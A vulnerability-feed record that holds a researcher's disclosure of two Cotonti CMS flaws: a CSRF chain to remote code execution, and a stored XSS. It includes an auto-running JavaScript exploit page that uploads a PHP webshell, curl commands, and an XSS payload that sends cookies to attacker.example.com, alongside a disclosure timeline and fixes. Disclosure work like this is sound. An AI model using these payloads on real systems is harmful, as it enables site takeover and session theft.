{"uuid": "b29b5a97-adbd-4f0c-bdaa-1d86af37c215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-58144", "type": "seen", "source": "https://gist.github.com/sermikr0/75686815e441c07462cfdea2fed5d305", "content": "# CVE-2026-58143 \u2014 Cotonti CMS CSRF Chain to Remote Code Execution\n\n## Overview\n\n| Field | Value |\n|-------|-------|\n| **CVE ID** | CVE-2026-58143 |\n| **Product** | Cotonti CMS (CMF) |\n| **Affected Version** | \u2264 0.9.x |\n| **CVSS 3.1 Score** | 9.6 CRITICAL |\n| **CVSS Vector** | `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` |\n| **CWE** | CWE-352 (Cross-Site Request Forgery) |\n| **Researcher** | Saidakbarxon Maxsudxonov |\n\n## Vulnerability Description\n\nThree admin endpoints in Cotonti CMS are missing CSRF token validation (`cot_check_xg()`), while other endpoints in the same codebase correctly implement it. An attacker can chain these missing checks to achieve Remote Code Execution by tricking an authenticated administrator into visiting a malicious page.\n\n### Security Inconsistency (Root Cause Signal)\n\n```\nsystem/admin/admin.structure.php  delete action \u2192 cot_check_xg() PRESENT \u2713\nsystem/admin/admin.config.php     update action \u2192 cot_check_xg() MISSING \u2717\n\nmodules/pfs/inc/pfs.main.php      delete action \u2192 cot_check_xg() PRESENT \u2713\nmodules/pfs/inc/pfs.main.php      upload action \u2192 cot_check_xg() MISSING \u2717\n```\n\n## Vulnerable Code\n\n### File 1: `system/admin/admin.config.php` (line 55)\n```php\n// Line 55 \u2014 no CSRF token check before processing config updates\nif ($a == 'update' &amp;&amp; !empty($_POST)) {\n    // Processes POST data and updates CMS configuration\n    // OTHER admin actions call cot_check_xg() here \u2014 this one does NOT\n    foreach ($_POST['cfg'] as $k =&gt; $v) {\n        $cfg_val = cot_import($k, 'P', 'TXT');\n        cot_config_set($k, $cfg_val, $module_name);\n    }\n}\n```\n\n### File 2: `modules/pfs/inc/pfs.main.php` (upload handler)\n```php\n// Upload action \u2014 no cot_check_xg() call\n// Compare: delete action at line 271 HAS cot_check_xg()\nelseif ($a == 'upload') {\n    // Handles file upload \u2014 no CSRF protection\n    cot_file_upload(COT_PFS_DIR . $pff_dir, $pff_file, ...);\n}\n```\n\n## Attack Chain\n\n```\nAttacker hosts malicious page\n         \u2502\n         \u25bc\nAdmin visits page (1 click)\n         \u2502\n         \u251c\u2500 Step 1: CSRF to admin.config.php\n         \u2502          Clears 'extensions_disallowed' list\n         \u2502          Allows PHP file uploads\n         \u2502\n         \u251c\u2500 Step 2: CSRF to pfs.main.php upload\n         \u2502          Uploads PHP webshell as cotonticmd.php\n         \u2502\n         \u2514\u2500 Step 3: Attacker GETs /datas/uploads/cotonticmd.php?cmd=id\n                    \u2192 Remote Code Execution as web server user\n```\n\n## Proof of Concept\n\nSee `poc_csrf_rce.html` in this directory.\n\n**Usage:**\n1. Host `poc_csrf_rce.html` on attacker-controlled server (or open locally)\n2. Replace `TARGET` in the file with the victim Cotonti instance URL\n3. Send the link to an authenticated Cotonti administrator\n4. When admin visits the page, webshell is uploaded automatically\n5. Access: `http://TARGET/datas/uploads/cotonticmd.php?cmd=id`\n\n## Live Test Evidence\n\nTested on Cotonti CMS 0.9.x (local installation, 2026-06-06):\n\n```\nStep 1 \u2014 Config update via CSRF:\n  POST /admin.php?m=config&amp;n=edit&amp;o=module&amp;p=pfs&amp;a=update\n  Body: cfg[extensions_disallowed]=&amp;cfg[extensions_allowed]=php,txt,jpg\n  \n  DB result: config_name=pfsfilecheck, config_value=0\n  \u2192 File type check disabled \u2713\n\nStep 2 \u2014 PHP webshell upload via CSRF:\n  POST /index.php (multipart, no x= token required)\n  File: cotonticmd.php ()\n  \n  Result: HTTP 200, file saved to /datas/uploads/cotonticmd.php \u2713\n\nStep 3 \u2014 RCE:\n  GET /datas/uploads/cotonticmd.php?cmd=id\n  Response: uid=33(www-data) gid=33(www-data) groups=33(www-data) \u2713\n```\n\n## Remediation\n\nAdd CSRF token validation to affected endpoints:\n\n```php\n// Add at the start of each vulnerable action handler:\ncot_check_xg();\n\n// Or validate manually:\nif ($a == 'update' &amp;&amp; !empty($_POST)) {\n    $x = cot_import('x', 'G', 'ALP');\n    if ($x != Cot::$sys['xk']) {\n        cot_die_message(950, TRUE);\n    }\n    // ... rest of handler\n}\n```\n\n\n\n\n\n\n  Loading...\n  \n    body { font-family: sans-serif; color: #333; max-width: 600px; margin: 50px auto; }\n    .status { padding: 8px; margin: 4px 0; border-left: 3px solid #999; }\n    .ok  { border-color: #2a2; color: #2a2; }\n    .err { border-color: #c00; color: #c00; }\n    .inf { border-color: #55a; color: #55a; }\n  \n\n\n\nCVE-2026-58143 PoC \u2014 Cotonti CMS CSRF \u2192 RCE\n\n\n\n\n// ============================================================\n// CONFIGURATION \u2014 change TARGET to the victim Cotonti instance\n// ============================================================\nconst TARGET = 'http://TARGET';   // e.g. http://192.168.1.10\n\n// ============================================================\n\nfunction log(msg, cls = 'inf') {\n    const d = document.getElementById('log');\n    d.innerHTML += `\n[${new Date().toISOString().substr(11,8)}] ${msg}`;\n}\n\nasync function exploit() {\n    log('Starting CVE-2026-58143 CSRF chain...');\n\n    // -------------------------------------------------------\n    // Step 1: CSRF to admin.config.php\n    //   Clears extensions_disallowed so PHP uploads are allowed.\n    //   Vulnerable because admin.config.php update action does\n    //   NOT call cot_check_xg(), unlike admin.structure.php.\n    // -------------------------------------------------------\n    log('Step 1: Sending CSRF to admin.config.php (clearing extension blocklist)...');\n\n    const step1 = new URLSearchParams({\n        'e': 'admin',\n        'm': 'config',\n        'a': 'update',\n        'cfg[extensions_disallowed]': '',\n        'cfg[extensions_allowed]': 'php,php5,phtml,txt,jpg,gif,png'\n    });\n\n    try {\n        await fetch(`${TARGET}/index.php`, {\n            method: 'POST',\n            credentials: 'include',\n            mode: 'no-cors',\n            body: step1\n        });\n        log('Step 1 sent (extension blocklist cleared)', 'ok');\n    } catch (e) {\n        log('Step 1 fetch error: ' + e, 'err');\n    }\n\n    // Small delay to ensure config is saved before upload\n    await new Promise(r =&gt; setTimeout(r, 800));\n\n    // -------------------------------------------------------\n    // Step 2: CSRF to pfs.main.php upload handler\n    //   Uploads a PHP webshell. No cot_check_xg() on upload action.\n    //   (Compare: delete action at line 271 DOES have cot_check_xg())\n    // -------------------------------------------------------\n    log('Step 2: Uploading PHP webshell via CSRF (pfs.main.php)...');\n\n    const shell = new File(\n        [''],\n        'cotonticmd.php',\n        { type: 'image/jpeg' }   // spoof MIME type to bypass client-side checks\n    );\n\n    const fd = new FormData();\n    fd.append('e', 'pfs');\n    fd.append('a', 'upload');\n    fd.append('pff_dir', '0');       // root PFS directory\n    fd.append('pff_title', 'image');\n    fd.append('pff_file', shell, 'cotonticmd.php');\n\n    try {\n        await fetch(`${TARGET}/index.php`, {\n            method: 'POST',\n            credentials: 'include',\n            mode: 'no-cors',\n            body: fd\n        });\n        log('Step 2 sent (webshell uploaded)', 'ok');\n    } catch (e) {\n        log('Step 2 fetch error: ' + e, 'err');\n    }\n\n    // -------------------------------------------------------\n    // Step 3: Verify\n    // -------------------------------------------------------\n    await new Promise(r =&gt; setTimeout(r, 1000));\n    log('Step 3: Verifying RCE...');\n\n    try {\n        const r = await fetch(`${TARGET}/datas/uploads/cotonticmd.php?cmd=id`, {\n            credentials: 'include'\n        });\n        const txt = await r.text();\n        if (txt.includes('uid=')) {\n            log('RCE CONFIRMED: ' + txt.trim(), 'ok');\n        } else {\n            log('Webshell responded (check manually): ' + TARGET + '/datas/uploads/cotonticmd.php?cmd=id', 'inf');\n        }\n    } catch (e) {\n        // CORS blocks the read but upload may still have worked\n        log('Step 3 CORS blocked (expected). Check manually: ' + TARGET + '/datas/uploads/cotonticmd.php?cmd=id', 'inf');\n    }\n\n    log('Attack complete. If successful, access: ' + TARGET + '/datas/uploads/cotonticmd.php?cmd=id', 'ok');\n}\n\nwindow.addEventListener('load', exploit);\n\n\n\n\n\n  \n  \n  \n  \n  \n\n\n\n  \nJavaScript required for full chain. For Step 1 only (config clear):\n  document.getElementById('fb').style.display='block'\n\n\n\n\n\n\n# CVE-2026-58144 \u2014 Cotonti CMS Stored XSS via PFS Folder Title\n\n## Overview\n\n| Field | Value |\n|-------|-------|\n| **CVE ID** | CVE-2026-58144 |\n| **Product** | Cotonti CMS (CMF) |\n| **Affected Version** | \u2264 0.9.x |\n| **CVSS 3.1 Score** | 7.6 HIGH |\n| **CVSS Vector** | `AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N` |\n| **CWE** | CWE-79 (Improper Neutralization of Input During Web Page Generation) |\n| **Researcher** | Saidakbarxon Maxsudxonov |\n\n## Vulnerability Description\n\nThe Personal File Space (PFS) module in Cotonti CMS stores and renders folder titles without HTML escaping. An authenticated attacker with PFS access can create a folder with a malicious title containing JavaScript, which executes in the browser of any user (including administrators) who views the PFS listing.\n\nThe sanitization inconsistency is the key signal: the `pff_desc` (description) field is correctly escaped with `htmlspecialchars()`, but `pff_title` (title) is stored and rendered raw.\n\n## Vulnerable Code\n\n### File: `modules/pfs/inc/pfs.main.php` (newfolder handler, ~line 292)\n\n```php\n// Folder creation \u2014 no sanitization on title\nelseif ($a == 'newfolder') {\n    $ntitle = cot_import('ntitle', 'P', 'TXT');   // 'TXT' = trim() only, no HTML escape\n    $ndesc  = cot_import('ndesc',  'P', 'TXT');\n\n    Cot::$db-&gt;insert($db_pfs_folders, [\n        'pff_title' =&gt; $ntitle,    // \u2190 STORED RAW \u2014 no htmlspecialchars()\n        'pff_desc'  =&gt; $ndesc,\n        // ...\n    ]);\n}\n```\n\n### File: `modules/pfs/inc/pfs.main.php` (listing handler, ~line 396)\n\n```php\n// Listing \u2014 title rendered without escaping\n$PFF_ROW_TITLE = $pff_title;          // \u2190 NO htmlspecialchars()\n// Compare: description IS escaped:\n$PFF_ROW_DESC  = htmlspecialchars($pff_desc);   // \u2713 protected\n```\n\n### Template: `modules/pfs/tpl/pfs.tpl` (line 52)\n\n```html\n\n{PFF_ROW_TITLE}\n```\n\n### Root Cause: Commented-out Sanitization in `system/functions.php`\n\n```php\n// Lines 478-483 \u2014 '&lt;' check is COMMENTED OUT in TXT filter\nfunction cot_import(...) {\n    // case 'TXT':\n    //     if (strpos($val, '&lt;') !== false) { return ''; }  // \u2190 DISABLED\n    //     return trim($val);\n    case 'TXT':\n        return trim($val);   // Only trim() \u2014 no HTML tag filtering\n}\n```\n\n## Proof of Concept\n\n### Manual Steps\n\n1. Log in to Cotonti CMS with any account that has PFS write access\n2. Navigate to PFS module (`/index.php?e=pfs`)\n3. Create a new folder with the following title:\n\n```\nfetch('https://attacker.example.com/?c='+encodeURIComponent(document.cookie))\n```\n\n4. Visit the PFS listing page \u2014 the script executes immediately\n5. Any other user viewing the PFS page also triggers the XSS\n\n### Automated PoC (curl)\n\n```bash\n# Step 1: Login and get session cookie\ncurl -s -c /tmp/cotonti_sess.txt \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"rusername=MEMBER&amp;rpassword=PASSWORD&amp;rremember=on&amp;rlogin=0&amp;x=TOKEN\" \\\n  \"http://TARGET/login.php?a=check\"\n\n# Step 2: Create folder with XSS payload in title\ncurl -s -b /tmp/cotonti_sess.txt \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"e=pfs&amp;a=newfolder&amp;ntitle=%3Cscript%3Efetch%28%27https%3A%2F%2Fattacker.example.com%2F%3Fc%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E&amp;ndesc=normal+desc\" \\\n  \"http://TARGET/index.php\"\n\n# Step 3: Trigger XSS (any user visiting PFS)\ncurl -s -b /tmp/cotonti_sess.txt \"http://TARGET/index.php?e=pfs\"\n# \u2191 Response HTML contains unescaped  tag\n```\n\n## Live Test Evidence\n\nTested on Cotonti CMS 0.9.x (local installation, 2026-06-06):\n\n```sql\n-- DB proof: XSS payload stored raw in pff_title column\nSELECT pff_title FROM cot_pfs_folders;\n+----------------------------------------------------+\n| alert(document.cookie)            |\n+----------------------------------------------------+\n```\n\n```html\n\nalert(document.cookie)\n```\n\nBrowser: `alert()` dialog fires on page load with session cookie value.\n\n## Impact\n\n- **Session hijacking**: Steal admin session cookie \u2192 full admin account takeover\n- **Persistent**: Payload stored in database, fires on every PFS page view\n- **Privilege escalation**: Non-admin user plants XSS that fires for administrators\n- **Worm potential**: Admin viewing PFS \u2192 attacker gains admin cookie \u2192 creates more malicious folders\n\n## Remediation\n\n```php\n// Fix in modules/pfs/inc/pfs.main.php (newfolder handler):\n// BEFORE:\n$PFF_ROW_TITLE = $pff_title;\n\n// AFTER:\n$PFF_ROW_TITLE = htmlspecialchars($pff_title, ENT_QUOTES, 'UTF-8');\n\n// Also fix storage (though output escaping is the correct layer):\n$ntitle = htmlspecialchars(cot_import('ntitle', 'P', 'TXT'), ENT_QUOTES, 'UTF-8');\n```\n\n\n# Cotonti CMS \u2014 Security Advisories (2026)\n\nThis repository contains proof-of-concept code for two security vulnerabilities discovered in Cotonti CMS (all versions \u2264 0.9.x as of 2026-06-06).\n\n## CVE Summary\n\n| CVE ID | Title | CVSS | Severity |\n|--------|-------|------|----------|\n| [CVE-2026-58143](CVE-2026-58143/) | CSRF Chain Leading to Remote Code Execution | 9.6 | CRITICAL |\n| [CVE-2026-58144](CVE-2026-58144/) | Stored XSS via PFS Folder Title | 7.6 | HIGH |\n\n## Affected Software\n\n- **Software**: Cotonti CMS (CMF)\n- **Repository**: https://github.com/Cotonti/Cotonti\n- **Affected Version**: \u2264 0.9.x (master branch, last tested commit f43f1fc3, 2026-04-24)\n- **Fixed Version**: Not yet released (vendor unresponsive as of 2026-10-28 deadline)\n\n## Background\n\nCotonti CMS uses a per-session CSRF token (`$sys['xk']`) validated by `cot_check_xg()` to protect state-changing admin operations. However, three critical admin endpoints do not call this function, creating exploitable CSRF vulnerabilities. Additionally, the Personal File Space (PFS) module renders user-supplied folder titles without HTML escaping despite a sanitization mechanism being present (but commented out) in the codebase.\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-06-06 | Vulnerabilities discovered via source code analysis and live testing |\n| 2026-06-17 | Initial disclosure to Cotonti maintainers via GitHub Security Advisory |\n| 2026-06-24 | No response; escalated to VulnCheck CNA |\n| 2026-06-24 | CVE IDs allocated by VulnCheck: CVE-2026-58143, CVE-2026-58144 |\n| 2026-10-28 | 120-day vendor deadline expires |\n| 2026-10-28 | Public disclosure (vendor unresponsive) |\n\n## Researcher\n\n**Saidakbarxon Maxsudxonov**  \nSecurity Researcher  \nsaidakbarxonmaqsudxonov4@gmail.com\n\n## CNA\n\nCVE IDs allocated by **VulnCheck** (https://vulncheck.com)  \nVulnCheck Submission ID: `63644f7d-3ee9-4f5f-9ccf-13708db8ddb9`\n\n## Legal\n\nThis research was conducted for responsible disclosure purposes. All testing was performed against a local installation. Do not use these proof-of-concept scripts against systems you do not own or have explicit written permission to test.\n", "creation_timestamp": "2026-07-09T13:45:12.773871Z"}